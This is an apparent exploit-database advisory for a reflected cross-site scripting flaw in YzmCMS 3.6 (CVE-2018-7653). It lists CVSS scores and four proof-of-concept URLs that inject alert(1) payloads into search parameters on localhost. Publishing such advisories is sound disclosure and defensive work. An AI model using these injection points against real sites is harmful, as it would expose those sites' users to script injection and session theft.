YzmCMS 3.6 Cross Site Scripting

2018.04.06

zzw (CN)

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2018-7653

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Exploit Title: YzmCMS 3.6 XSS Vulnerability
# Date: 2018-04-03
# Exploit Author: zzw (zzw@5ecurity.cn)
# Vendor Homepage: http://www.yzmcms.com/
# Software Link: http://www.yzmcms.com/
# Version: 3.6
# CVE : CVE-2018-7653
 
This is a XSS vulnerability than can attack the users.
 
poc:
 
http://localhost/YzmCMS/index.php?m=search&c=index&a=initxqb4n%3Cimg%20src%3da%20onerror%3dalert(1)%3Ecu9rs&modelid=1&q=tes 
 
http://localhost/YzmCMS/index.php?m=search&c=indexf9q6s%3cimg%20src%3da%20onerror%3dalert(1)%3ej4yck&a=init&modelid=1&q=tes 
 
http://localhost/YzmCMS/index.php?m=searchr81z4%3cimg%20src%3da%20onerror%3dalert(1)%3eo92wf&c=index&a=init&modelid=1&q=tes 
 
http://localhost/YzmCMS/index.php?m=search&c=index&a=init&modelid=1b2sgd%22%3e%3cscript%3ealert(1)%3c%2fscript%3eopzx0&q=tes

See this note in RAW Version

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YzmCMS 3.6 Cross Site Scripting

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